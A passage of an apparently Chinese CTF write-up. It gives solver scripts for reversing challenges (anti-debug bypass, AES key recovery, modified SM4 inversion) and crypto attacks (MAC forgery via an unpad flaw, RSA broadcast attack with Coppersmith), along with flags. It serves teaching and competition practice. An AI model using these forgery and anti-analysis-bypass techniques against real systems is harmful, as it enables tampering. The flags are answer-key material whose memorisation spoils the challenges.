0x48487860, 0xB8B84D83, 0x3E3EDCAD, 0x0C0C8173, 0xBABAC6F8, 0xB1B1428F, 0xB9B9BC0A, 0x54546C70, 0x42420D9E, 0x2121B24F, 0x8181942A, 0xE1E15109, 0x84841A55, 0xF4F44A15, 0xB7B7B602, 0xE9E9AF8C, 0xB3B3C9F4, 0x70705040, 0xEBEB24F7, 0xD9D97929, 0xF5F5BB9C, 0x93938A32, 0x5858ED03, 0xEFEF5B01, 0x2D2D333C, 0x474783E1, 0xF6F6C16E, 0xFFFFCE62, 0x6464BAD5, 0x0A0A75FE, 0x7676A4CD, 0xCECEE94E, 0x88889B26, 0x1C1C1410, 0x46467268, 0x4C4C0796, 0xFBFBB194, 0x878760A7, 0x4F4F7D64, 0x3030D6A5, 0xBEBEB90E, 0x74742FB6, 0x2F2FB847, 0x5E5E198E, 0x3F3F2D24, 0xC9C9EC4A, 0xD1D187AC, 0xD8D888A0, 0xECEC21F3, 0xE6E6540D, 0x2828BD43, 0x6E6ECF2B, 0x1D1DE599, 0x1414EA95, 0x1F1F6EE2, 0x2222C8BD, 0xA9A92969, 0x68683BA6, 0xF8F8CB66, 0xC5C56D39, 0x3434A953, 0xC3C399B4, 0x202043C6, 0xB0B0B306, 0xF2F2BE98, 0xC8C81DC3, 0x4D4DF61F, 0xDADA03DB, 0x7171A1C9, 0xE5E52EFF, 0xD4D409D3, 0xC4C49CB0, 0x9E9EFAC8, 0x6F6F3EA2, 0x4343FC17, 0x8585EBDC, 0xA0A02665, 0x111164EA, 0xE3C046E3, 0x6087A760, 0xE48CD0E4, 0x2F74B62F, 0x50704050, 0xFF99CCFF, 0x04964D04, 0xD939A9D9, 0x82D6A882, 0x5835DA58, 0x5A7E485A, 0xB06ADDB0, 0x6B18E66B, 0x975BF197, 0xA171C9A1, 0xCF6E2BCF, 0xEA1495EA, 0xB7264BB7, 0x719CB371, 0xED5803ED, 0xE9CE4EE9, 0xF64D1FF6, 0xCEFF62CE, 0x30F7E730, 0x9B88269B, 0x3166AE31, 0x207DBA20, 0x68C23D68, 0x362A3836, 0x91862E91, 0x6DC5396D, 0x6580A365, 0xC56023C5, 0x925CF592, 0xF4068DF4, 0x635D7C63, 0xB82F47B8, 0x38B27D38, 0x8E057F8E, 0x8640E586, 0xA8A51AA8, 0x18CFC718, 0xB1FB94B1, 0xA93453A9, 0x28382028, 0xD2A6E8D2, 0xC22CB5C2, 0xDAE372DA, 0xAE78C5AE, 0xDB723BDB, 0xB56DD9B5, 0xEE82D8EE, 0x3AF9EF3A, 0x5F794C5F, 0xA2AB12A2, 0x42B18F42, 0x32BC7532, 0x859A3E85, 0xF7DC56F7, 0x2EE5FF2E, 0x55774455, 0x79D92979, 0x87D1AC87, 0xA0E080A0, 0x93CDBC93, 0xBD2843BD, 0x5EE8055E, 0x96CAB896, 0x0A0E080A, 0xCBF866CB, 0x8347E183, 0xFB0F81FB, 0x2D3F242D, 0x416B5441, 0xF94413F9, 0xF34A1BF3, 0x6A89AF6A, 0x5BEF015B, 0x7D4F647D, 0xF090C0F0, 0x5CA3975C, 0xC9B3F4C9, 0x16578216, 0x27312C27, 0x4FF3114F, 0x37BB7137, 0xFDD25EFD, 0x7F04F67F, 0x665A7866, 0xC822BDC8, 0xBF63D1BF, 0xD17C33D1, 0x0E98450E, 0x62CC3562, 0x141C1014, 0x6116EE61, 0xAC3357AC, 0x26A06526, 0xE51D99E5, 0x51E10951, 0x3C24303C, 0x0CD3D70C, 0x17C6CB17, 0x40FA1D40, 0x6C54706C, 0x2A73B22A, 0xD7A1ECD7, 0x67CB3167, 0x95106395, 0xBA64D5BA, 0x48BF8748, 0x4627C246, 0x7A03F27A, 0x03DADB03, 0x700DFA70, 0xF8D55AF8, 0x7B92BB7B, 0x840B7784, 0x573CD657, 0x77416C77, 0x108A5D10, 0xD8A8E0D8, 0x4B655C4B, 0x523BD252, 0xD47B37D4, 0xEF1391EF, 0xA33A5BA3, 0x3B68A63B, 0xE18BD4E1, 0x39233439, 0x45FD1945, 0x24EBF724, 0xAAEE88AA, 0x0F090C0F, 0xBCB90ABC, 0xD5EA7ED5, 0x6411EA64, 0xC3BDFCC3, 0x59A49359, 0x1B151C1B, 0xDDAFE4DD, 0x2CAE6D2C, 0x9F1E6B9F, 0x12C1CF12, 0x01914901, 0x05070405, 0x3FFEEB3F, 0x72466872, 0xB6B702B6, 0x9E8F229E, 0x8A93328A, 0x257ABE25, 0x749BB774, 0x09D4D309, 0xE7560BE7, 0x4DB8834D, 0x88D8A088, 0x810C7381, 0x024B9202, 0xC72BB1C7, 0xECC94AEC, 0xF597C4F5, 0x90176790, 0x332D3C33, 0xDC3EADDC, 0x492ECE49, 0x1C598A1C, 0x5D32DE5D, 0xCCB4F0CC, 0x54E60D54, 0x158D5915, 0xC1F66EC1, 0x08459A08, 0x7CDE2D7C, 0x99C3B499, 0xCD25B9CD, 0xF10189F1, 0x1E12181E, 0xFA9EC8FA, 0x53AA9B53, 0x94812A94, 0x8949E989, 0x1F83511F, 0x8DDFA48D, 0xF2DB52F2, 0xB3B006B3, 0xDFE476DF, 0xC06727C0, 0xD630A5D6, 0x9852FD98, 0x13508613, 0xBBF59CBB, 0x2BE2FB2B, 0x22362822, 0x3E6FA23E, 0xE85F07E8, 0xE01A9DE0, 0x3461AA34, 0x9D55F99D, 0x111B1411, 0x3DB5793D, 0x78486078, 0x809D3A80, 0x4320C643, 0x195E8E19, 0xA63D5FA6, 0x00000000, 0xE6C742E6, 0x76D02576, 0x6F8EAB6F, 0xADA21EAD, 0x074C9607, 0x8F94368F, 0x35F0E335, 0xC6BAF8C6, 0x47B68B47, 0xDE753FDE, 0xAB7FC1AB, 0xD0ED7AD0, 0x0B9F410B, 0xD337A1D3, 0xE2510FE2, 0x4E62584E, 0x1DC8C31D, 0x4AF4154A, 0x446C5044, 0xC4F16AC4, 0x9A196F9A, 0x06DDDF06, 0xB2214FB2, 0xA476CDA4, 0x8B027B8B, 0xA7AC16A7, 0xB4FC90B4, 0xFE0885FE, 0xAFE98CAF, 0x69537469, 0xEB85DCEB, 0x73D72173, 0xB9BE0EB9, 0xCA692FCA, 0xA5E784A5, 0x9CC4B09C, 0x21ECF321, 0x23A76123, 0x0D429E0D, 0x7E95BF7E, 0x29A96929, 0x750AFE75, 0x6E1FE26E, 0x56AD9F56, 0x4C29CA4C, 0x8C4EED8C, 0xBEF298BE, 0x1A84551A, 0xFC4317FC, 0x4EED4E8C, 0x196F199A, 0xB883B84D, 0x7ABE7A25, 0x441344F9, 0x8BD48BE1, 0x7DBA7D20, 0xD1ACD187, 0x52FD5298, 0xE476E4DF, 0xDADBDA03, 0x5A785A66, 0xEF01EF5B, 0xA397A35C, 0xA51AA5A8, 0x068D06F4, 0x87A78760, 0x4B924B02, 0x07040705, 0xE372E3DA, 0x0F810FFB, 0xC1CFC112, 0xA969A929, 0x5BF15B97, 0x264B26B7, 0x459A4508, 0x812A8194, 0xEE88EEAA, 0x9436948F, 0xA6E8A6D2, 0x95BF957E, 0xF415F44A, 0x3F243F2D, 0xDC56DCF7, 0xF866F8CB, 0x9845980E, 0xC539C56D, 0x018901F1, 0xDFA4DF8D, 0xB006B0B3, 0x97C497F5, 0x0E080E0A, 0x8EAB8E6F, 0x6C506C44, 0x1FE21F6E, 0xC046C0E3, 0xECF3EC21, 0x6258624E, 0x55F9559D, 0x1E6B1E9F, 0xF0E3F035, 0xDE2DDE7C, 0xD929D979, 0x6FA26F3E, 0xA493A459, 0x7B377BD4, 0x32DE325D, 0x9D3A9D80, 0xF16AF1C4, 0x18E6186B, 0xB90AB9BC, 0x3D5F3DA6, 0x151C151B, 0x335733AC, 0xDB52DBF2, 0x0AFE0A75, 0x82D882EE, 0x1A9D1AE0, 0xF298F2BE, 0xAB12ABA2, 0xCFC7CF18, 0x89AF896A, 0xD3D7D30C, 0xD4D3D409, 0xFB94FBB1, 0x692F69CA, 0x027B028B, 0x74B6742F, 0xE784E7A5, 0xB702B7B6, 0x6E2B6ECF, 0x3CD63C57, 0x47E14783, 0x7FC17FAB, 0x00000000, 0x9BB79B74, 0x602360C5, 0xCB31CB67, 0x04F6047F, 0x61AA6134, 0xD025D076, 0xCC35CC62, 0x1218121E, 0x80A38065, 0x655C654B, 0x8F228F9E, 0xF59CF5BB, 0xC4B0C49C, 0x6DD96DB5, 0x510F51E2, 0x090C090F, 0xFC90FCB4, 0x76CD76A4, 0x11EA1164, 0xAD9FAD56, 0x91499101, 0x90C090F0, 0x9EC89EFA, 0x139113EF, 0xCAB8CA96, 0x36283622, 0x2CB52CC2, 0x71C971A1, 0x5D7C5D63, 0x429E420D, 0xE080E0A0, 0xE5FFE52E, 0x284328BD, 0x312C3127, 0xAC16ACA7, 0x723B72DB, 0xFF62FFCE, 0xB68BB647, 0x40E54086, 0xC94AC9EC, 0xD55AD5F8, 0x560B56E7, 0x4C964C07, 0x68A6683B, 0xCE4ECEE9, 0x5F075FE8, 0x7E487E5A, 0x8A5D8A10, 0xD721D773, 0x4D1F4DF6, 0x30A530D6, 0x25B925CD, 0xCDBCCD93, 0xE2FBE22B, 0xB18FB142, 0x8826889B, 0x2D3C2D33, 0x3EAD3EDC, 0x77447755, 0x73B2732A, 0x5E8E5E19, 0x5CF55C92, 0xBAF8BAC6, 0x53745369, 0x0DFA0D70, 0xEBF7EB24, 0xAA9BAA53, 0x1D991DE5, 0x672767C0, 0x964D9604, 0xBB71BB37, 0x8455841A, 0x78C578AE, 0x214F21B2, 0x6ADD6AB0, 0xD8A0D888, 0xB27DB238, 0xC6CBC617, 0x149514EA, 0x9CB39C71, 0x2BB12BC7, 0xA8E0A8D8, 0xBDFCBDC3, 0x0B770B84, 0x3A5B3AA3, 0xA761A723, 0x99CC99FF, 0x9A3E9A85, 0xA21EA2AD, 0x46684672, 0xFD19FD45, 0x580358ED, 0x8CD08CE4, 0x0C730C81, 0xFA1DFA40, 0x48604878, 0xEA7EEAD5, 0xE98CE9AF, 0x2430243C, 0xA1ECA1D7, 0x057F058E, 0xB4F0B4CC, 0xB3F4B3C9, 0x4F644F7D, 0x6B546B41, 0xE60DE654, 0xBF87BF48, 0x22BD22C8, 0xF311F34F, 0x9332938A, 0x49E94989, 0x416C4177, 0x50865013, 0x92BB927B, 0x088508FE, 0x23342339, 0x598A591C, 0xAFE4AFDD, 0x64D564BA, 0x1C101C14, 0xC3B4C399, 0xE109E151, 0x85DC85EB, 0x753F75DE, 0x7C337CD1, 0x17671790, 0xC742C7E6, 0x345334A9, 0xA065A026, 0x8D598D15, 0xE805E85E, 0xD25ED2FD, 0x66AE6631, 0x2A382A36, 0x4A1B4AF3, 0x8351831F, 0x35DA3558, 0x27C22746, 0xF66EF6C1, 0x20C62043, 0x431743FC, 0xAE6DAE2C, 0x9F419F0B, 0xB579B53D, 0x03F2037A, 0x63D163BF, 0xC8C3C81D, 0xED7AEDD0, 0xFEEBFE3F, 0xD6A8D682, 0x39A939D9, 0x16EE1661, 0x5470546C, 0x3BD23B52, 0x862E8691, 0x1B141B11, 0xBC75BC32, 0xC23DC268, 0xF7E7F730, 0x2F472FB8, 0x70407050, 0xBE0EBEB9, 0x794C795F, 0x38203828, 0x10631095, 0x37A137D3, 0x29CA294C, 0xF9EFF93A, 0xDDDFDD06, 0x2ECE2E49, 0x57825716, 0x7D417402, 0x7E721D1F, 0x8C219648, 0x49DCCA67, 0xA5705A22, 0x62D3DC8F, 0x69189C05, 0xBA7B287A, 0x946305E0, 0x4221C46A, 0xA5B54743, 0x83BE0F59, 0x0A12A2AA, 0x4C4C39E9, 0x8ECECDA6, 0x61F3F52C, 0x97E2077A, 0x2E99A95E, 0xEFE18498, 0x1CD31DA5, 0x456AA5B9, 0x36023F0B, 0xC4ED11CD, 0x02DAC41D, 0xE7CC1901, 0xED14F8A1, 0x94E9F986, 0x2BE2879F, 0x6565BA62, 0x2629D026, 0x8034B8CC, 0x212CD5F4, 0xCDD8BD39, 0x90042ED8, 0x3725D79C, 0x896C0C43, 0x7BE43031, 0xB3546C0D, 0xFD73D395, 0xC136D3B2]


overflow_byte = lambda x : x & 0xff
overflow_word = lambda x : x & 0xffff
overflow_dword = lambda x : x & 0xffffffff
overflow_qword = lambda x : x & 0xffffffffffffffff
HIBYTE = lambda x : (x >> 24) & 0xff
BYTE1 = lambda x : (x >> 8) & 0xff
BYTE2 = lambda x : (x >> 16) & 0xff
BYTE = lambda x : x & 0xff
WORD = lambda x : x & 0xffff

def ror4(data, bits):
    for i in range(bits):
        if data & 1:
            data >>= 1
            data |= 0x80000000
        else:
            data >>= 1
    return overflow_dword(data)

def rol4(data, bits):
    for i in range(bits):
        if data & 0x80000000:
            data <<= 1
            data |= 1
        else:
            data <<= 1
    return overflow_dword(data)


class Ex_Base64(object):
    """A new table for base64"""
    def __init__(self, new_table):
        super(Ex_Base64, self).__init__()
        self.old_table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
        self.new_table = list(new_table) + ['=']

    def Ex_base64_decode(self, cipher):
        new_cipher = ""
        for i in range(len(cipher)):
            tmp_index = self.new_table.index(cipher[i])
            new_cipher += self.old_table[tmp_index]
        return new_cipher.decode("base64")

    def Ex_base64_encode(self, plain):
        new_cipher = ""
        tmp_cipher = plain.encode("base64").strip()
        for i in range(len(tmp_cipher)):
            tmp_index = self.old_table.index(tmp_cipher[i])
            new_cipher += self.new_table[tmp_index]
        return new_cipher

def encrypt_test(data, big_box=big_box):
    assert len(data) == 16
    arr = [0] * 6
    arr[0] = overflow_dword(struct.unpack('B', data[3])[0] << 24 | struct.unpack('B', data[2])[0] << 16 | struct.unpack('H', data[0:2])[0]) ^ big_box[1024]
    arr[1] = overflow_dword(struct.unpack('B', data[7])[0] << 24 | struct.unpack('B', data[6])[0] << 16 | struct.unpack('H', data[4:6])[0]) ^ big_box[1025]
    arr[2] = overflow_dword(struct.unpack('B', data[11])[0] << 24 | struct.unpack('B', data[10])[0] << 16 | struct.unpack('H', data[8:10])[0]) ^ big_box[1026]
    arr[3] = overflow_dword(struct.unpack('B', data[15])[0] << 24 | struct.unpack('B', data[14])[0] << 16 | struct.unpack('H', data[12:14])[0]) ^ big_box[1027]
    # print map(hex, arr)
    for i in range(16):
        if not i % 2:
            arr[4] = big_box[HIBYTE(arr[0])] ^ big_box[BYTE2(arr[0]) + 0x100] ^ big_box[BYTE1(arr[0]) + 0x200] ^ big_box[BYTE(arr[0]) + 0x300]
            arr[5] = big_box[HIBYTE(arr[1]) + 0x100] ^ big_box[BYTE2(arr[1]) + 0x200] ^ big_box[BYTE1(arr[1]) + 0x300] ^ big_box[BYTE(arr[1])]
            # print map(hex, arr)
            arr[2] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[2], 1)
            arr[3] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[3], 1)
        else:
            arr[4] = big_box[HIBYTE(arr[2])] ^ big_box[BYTE2(arr[2]) + 0x100] ^ big_box[BYTE1(arr[2]) + 0x200] ^ big_box[BYTE(arr[2]) + 0x300]
            arr[5] = big_box[HIBYTE(arr[3]) + 0x100] ^ big_box[BYTE2(arr[3]) + 0x200] ^ big_box[BYTE1(arr[3]) + 0x300] ^ big_box[BYTE(arr[3])]
            # print map(hex, arr)
            arr[0] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[0], 1)
            arr[1] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[1], 1)
        # print "%d: "%(i) + str(map(hex, arr))
    # print map(hex, arr)
    arr[2] ^= big_box[1028]
    arr[3] ^= big_box[1029]
    arr[0] ^= big_box[1030]
    arr[1] ^= big_box[1031]
    # print map(hex, arr)
    return chr(BYTE(arr[2])) + struct.pack('H', WORD(arr[2] >> 8)) + chr(HIBYTE(arr[2])) + struct.pack('I', arr[3]) + struct.pack('I', arr[0]) + struct.pack('H', WORD(arr[1])) + chr(BYTE2(arr[1])) + chr(HIBYTE(arr[1]))

def encrypt_ojbk(data):
    assert len(data) == 32
    check_in = lambda x: x in "abcdef0123456789"
    for i in xrange(len(data)):
        if not check_in(data[i]):
            os.exit(0)
    
    first_list = [0] * 16
    for i in xrange(0, len(data), 2):
        tmp_index = int(data[i], 16)
        tmp_var = int(data[i + 1], 16)
        if first_list[tmp_index]:
            print "input error"
            os.exit(1)
        else:
            first_list[tmp_index] = tmp_var
    
    j = 0
    flag1 = 0
    flag2 = 0
    second_list = [0] * 24
    for x in xrange(24):
        if x % 6 == 0:
            second_list[x] = first_list[((-1 % 16) + flag1 * 4) % 16]
            flag1 += 1
        elif x % 6 == 5:
            second_list[x] = first_list[((4 % 16) + flag2 * 4) % 16]
            flag2 += 1
        else:
            second_list[x] = first_list[j]
            j += 1

    concat_byte = lambda x, y: x << 4 | y

    third_bytes = ''
    for x in xrange(0, len(second_list), 2):
        third_bytes += chr(concat_byte(second_list[x], second_list[x + 1]))

    tmp_s = "".join([chr(i) for i in range(150,214)])
    exbase = Ex_Base64(tmp_s)
    fourth_bytes = exbase.Ex_base64_encode(third_bytes)

    return encrypt_test(fourth_bytes)

if __name__ == '__main__':
    print encrypt_ojbk("afb1c2d3e4f5061728394a5b6c7d8e9f") == "".join(map(chr, [0xea, 0x6f, 0x69, 0xba, 0x79, 0xe3, 0xa9, 0x01, 0x4e, 0x2d, 0xf8, 0xc2, 0xb3, 0x2e, 0x29, 0x0a]))

Creakme

出题人:0xE4s0n
解题人数:21
最终分数:500

首先在程序开头是一个自解密
图片.png
找到程序的.SCTF段进行解密
图片.png
这里有一个SEH异常化处理
点击下面的xerf跳到正常执行流程

图片.png

接着又是一堆反调试 通过更改ZF寄存器的值可以跳过反调试
图片.png

接着开始解密,简单的异或取非
图片.png

用ida-python解密

addstr = 0x404000 addend = 0x405000 key = "sycloversyclover" j = 0 for i in range(addstr,addend,1): data = (~(Byte(i) ^ ord(key[j%len(key)]))&0xff) PatchByte(i,data) j += 1 print ("patched")

这里是对最后比较的密文进行了操作(ps.顺便说一下如果没过反调试的话该函数不会执行,即使输入正确flag也不会提示正确)

图片.png

解出后就比较简单了

程序将输入的字符串进行了AES_CBC_128_PKCS7Padding加密

key为sycloversyclover偏移sctfsctfsctfsctf

在线解密即可解出flag

图片.png

sctf{Ae3_C8c_I28_pKcs79ad4}

babyRe

出题人:n0n4me
解题人数:20
最终分数:512

题目是个elf文件,三段check。
第一段是个三维5_5_5的正方体迷宫(出了非预期,我谢罪),三维的迷宫路径为ddwwxxssxaxwwaasasyywwdd;
第二段base64解密,结果与sctf_9102进行比较,使用在线工具得:c2N0Zl85MTAy。
第三段是魔改的sm4,直接逆的难度也并不大,回溯求解可得出flag,也可以在网上找解sm4的脚本,改一些参数就行;当然也可以直接将最后比较的内容输入进程序解出第三段:fl4g_is_s0_ug1y!。
flag:sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}

#include <stdio.h>
#include <stdlib.h>

#define ror(x,n) ((x<<(32 - n))|(x>>n))
#define rol(x,n) ((x>>(32 - n))|(x<<n))

unsigned int fun2(unsigned int a1)
{
    int table[288]={0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 
  0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76, 
  0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 
  0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 
  0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 
  0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 
  0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 
  0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 
  0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 
  0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 
  0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 
  0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 
  0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF, 
  0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 
  0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 
  0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3, 
  0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 
  0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45, 
  0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 
  0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 
  0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1, 
  0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 
  0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 
  0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84, 
  0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 
  0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48, 0xC6, 0xBA, 0xB1, 0xA3, 
  0x50, 0x33, 0xAA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0xDC, 0x22, 
  0x70, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
    unsigned int v1,v2;
    v1 = (table[a1&0xff]) | (table[(a1>>8)&0xff]<<8) | (table[(a1>>16)&0xff]<<16) |(table[(a1>>24)&0xff]<<24);
    v2=ror(v1,2)^rol(v1,8)^rol(v1,12)^ror(v1,6);
    return v2;
}

unsigned int fun1(unsigned int a1,unsigned int a2,unsigned int a3,unsigned int a4)
{
    return a1^fun2(a4^a3^a2);
}

int main()
{
    unsigned int str[4]={0xbe040680,0xc5af7647,0x9fcc401f,0xd8bf92ef};
    unsigned int cipher[30];
    cipher[26]=str[0];
    cipher[27]=str[1];
    cipher[28]=str[2];
    cipher[29]=str[3];
    int flag[24];
    int i,j=0;
    for(i=25;i>=0;i--)
    {
        cipher[i]=fun1(cipher[i+4],cipher[i+3],cipher[i+2],cipher[i+1]);
    }
    printf("0x%x,0x%x,0x%x,0x%x\n",cipher[0],cipher[1],cipher[2],cipher[3]);
    j=0;
    for(i=0;i<16;i +=4)
    {
        flag[i]=(cipher[j])&0xff;
        flag[i+1]=(cipher[j]>>8)&0xff;
        flag[i+2]=(cipher[j]>>16)&0xff;
        flag[i+3]=(cipher[j]>>24)&0xff;
        j++;
    }
    for(i=0;i<16;i++)
    {
        printf("%c",flag[i]);
    }
}

Crypto

warmup

出题人:r1ngs
解题人数:49
最终分数:294

一个简单的消息认证码。

对于这个MAC算法:令消息$M=(X_1;||;X_2;||;\cdots;||;X_m)$,定义$\Delta (M)=(X_1;\oplus;X_2;\oplus;\cdots;\oplus;X_m)$

则$MAC(K,;M) = E(K, ;\Delta (M))$

如果知道${M;||;MAC(K, M)}$,可以伪造消息$M';={Y_1;||;Y_2;||;\cdots;||;Y_{m-1};||;Y_m}$其中$Y_m={Y_1;\oplus;Y_2;\oplus;\cdots;\oplus;Y_{m-1};\oplus;\Delta(M)}$

则MAC值相同但是$M'$可以是任意的

再结合unpad的没有检查最后一个字符范围的漏洞对$M'$截断就行了,做法不唯一,但也都大同小异

from Crypto.Util.strxor import strxor


def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

raw = pad('see you at three o\'clock tomorrow')
raw_len = len(raw)
target = 'please send me your flag'
target_len = len(target)
target = pad(target)


res = chr(0)*16
for i in range(len(raw)/16):
    res = strxor(raw[i*16:(i+1)*16], res)

unpad_char = strxor(strxor(target[15],res[-1]), chr(raw_len-target_len))
target = target[:-1]+unpad_char
extra = strxor(strxor(target[:16], target[16:32]), res)

msg = target+extra
print msg.encode('hex')

babygame

出题人:r1ngs
解题人数:17
最终分数:555

主要是一个带线性填充的RSA广播攻击和OFB模式下的字节反转

题目中的形式如下:
$$<br />\begin{align*}<br />(a_1m+b_1)^e&\equiv c_1 (mod\ n_1) \<br />(a_2m+b_2)^e&=c_2 (mod\ n_2) \<br />(a_3m+b_3)^e&=c_3 (mod\ n_3)<br />\end{align*}<br />$$
做法如下:

使用CRT计算$T_i$,使得$T_i \equiv1(mod\ n_i)$ 且$T_i\equiv0(mod\ n_j)$ ,构造一个多项式$g(x)=\Sigma T_i((a_ix+b_i)^e-c_i)$

那么$g(m)\equiv0(mod\ n_i)$, 且由于$gcd(n_i, n_j)=1$, 所以,$m$是$g(x)$模$N$的一个根,其中$N=\prod n_i$,又因为$m<n_i$,所以$m{1/degg(x)}$,那么只要把$g(x)$转换成首一多项式就可以使用Coppersmith理论恢复$m$了

随便取一组数据计算m, sage代码如下:

from binascii import *

a = [
    0xfec659e2deb0cd94061a952132d030600a44df8348a5886e13afda8bf8e0fa992bb2916b43a90799ca65b95f4890c4edf31aee13e14a13150fc0f3ca12a19f91L, 
    0xb5dfd083ffe7da9c7ef1d9a263992cb5bcafadd3305aa1617fcab9f0691e5b1fb3d380bac82865199816e42657ce5d63f9ca374d7635f6108e51230c6d01877bL,
    0xfd1ff488363c98c927bde8b610d95725b81326edff5d076b0c6907d03e328600fa4a92e2dfb003fe102139a3568ad0ede64be0cb911a9a60f41b60108b21fe13L
]
b = [
    0xc380d1ac47967aa32c52b3a140b52bb382f0bed68d179ca230fd4c497b89aaf5bede8f8280d6645166b2f40941ca5d29ba6b3474eabaebe541d01b659620b955L,
    0x901675c475998145cf972a881a78e139165b21727c54aa4747febfb8b0e577d50788122b57d3f988bf6a48b7e59988dd86730224c993b14f0cd863285ede8c59L,
    0xa55434e724c3be8855fc464a1016b40595e7b58a6ca70408538622ad7eb39f398886733f3f026301008952fca8da847a34c94ed4a06a5cbb46c1b14aad7fb8f7L
]

n = [
    0xad31644e44364c011f386f00d83dd7a7df26673e7bc37ce01bd5c6218839aa0da4954641b33bcf5f7a0107b8e10a40f3c7bcc232da36b862b763de1021f88ba64287ce66c5f916301ef44003ba6f53e390a55bb7404bba6ffc4a9421de705c9e3dfbf73433f333e5b70e607dbdc590b67e57c51f7b8f19e33d783f6b7371b0afL,
    0xbd718bcc6784c84e04847df42dc3adea7767e2f6587023a7b31f62018270f28d5fe0d0fbf3e9a496cdcfc674de3d6800ffbbe1fb4c3eb9e9baf148c35e9f50b01ef81590450efb327d6fe32a5c36919ae49aa592bbabfebb4a4befc60e2145aed586c447dca7dec1a50a5dba83fabe3f00d952d3b5540aa9893a75cd8d38c82fL,
    0x817ee26841a6dfea6eae0e69754eedc671c1974de76246f69bd733e1f8c8a10703c1e0d67fa7b03585b2f8b863148df315b8bc87a68080f4ac452c042f5f1f245e79d3200ff2c374af3ed925e97619c4e38bbbef470748695c6b3635f0d63cb6b96710e63e5ae7a33be6227137419cc69ff11f46c2df0d28b42b74cd9e301b71L
]
c = [
    0x595a5b866175eeb78233d848458f8b2c57e384721da52754cb0b68d5df221d4af53542ec9beb63b3529762c47c83648c04c450b460a7997d340117af7e676c903050a73227828a8ff57baa3d13a6d1a88cc1b5b611c874b8ce328524fad3c5474df30be40ab702f02b0b84fcea804c2066d73faca9a73bf2aa270cd380810febL,
    0x6a1c685ffd8b73389af18461439e72a243ab8d220100f6eceeb01f1c176f1a390f3aa95cc456146dd3434199bb94dc6d912912af51fe230efe6aa11115ac1e3f2688344a689e3f5a4c18324f0f21152a2532a671adfa375f0ba04fae5dd134b11406115496dff11d09fe141a45c202537e1335eec501f36c659113080ae7f9f3L,
    0x356f300471bf2b3cbdc61fb2f3d4ddb08cc52b8e770f8b9fc695bc106e6a8b7f36e377c8bf992053cb2528b0fcd7adc3c7bc23f0ea5826ba5a387bb379c1668521ce5870586435ec5f913cf1c528165c8d840cc0845a08f5940c03d12e126450b767950cd60138a55fd7e67ef89f497d4bbe6aa83d5b11cec7880e82a3f5775fL
]
e = 3
Ni = []
for i in range(e):
    Ni.append(prod(n)/n[i])
T = []
for i in range(e):
    ti = Ni[i]*inverse_mod(Ni[i], n[i])
    T.append(ti)

G.<x> = PolynomialRing(Zmod(prod(n)))

g_i = []
for i in range(e):
    g_i.append((T[i]*((a[i]*x+b[i])^e-c[i])))
g = sum(g_i)
g = g.monic()

print unhexlify(hex(int(g.small_roots()[0]))[2:].rstrip('L'))

得到m:

I will send you the ticket tomorrow afternoon

接着再用OFB模式下的字节反转就能篡改消息了,具体可看:https://xz.aliyun.com/t/4552

from Crypto.Util.strxor import strxor

